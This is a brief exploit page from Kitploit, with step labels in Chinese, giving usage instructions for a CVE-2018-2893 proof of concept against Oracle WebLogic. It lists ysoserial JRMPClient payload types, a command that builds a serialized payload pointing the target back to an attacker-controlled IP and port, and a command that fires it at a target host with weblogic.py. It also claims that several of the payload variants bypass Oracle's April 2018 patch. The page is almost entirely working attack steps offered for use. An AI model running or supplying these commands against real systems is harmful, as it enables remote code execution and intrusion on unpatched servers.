CVE-2018-2893 — CVE-2018-2893-PoC | Kitploit

CVE-2018-2893

步骤 1

java -jar ysoserial-cve-2018-2893.jar

WHY SO SERIAL?
Usage: java -jar ysoserial-cve-2018-2893.jar [payload] '[command]'
Available payload types:
     Payload     Authors   Dependencies
     -------     -------   ------------
     JRMPClient  @mbechler
     JRMPClient2 @mbechler
     JRMPClient3 @mbechler
     JRMPClient4 @mbechler
     Jdk7u21     @frohoff

步骤 2

java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "[IP]:[PORT]" > poc4.ser

步骤 3

python weblogic.py [HOST] [PORT] poc4.ser

注意：JRMPClient2、JRMPClient3、JRMPClient4 中的任意一个均可用于绕过 Critical Patch Update April 2018。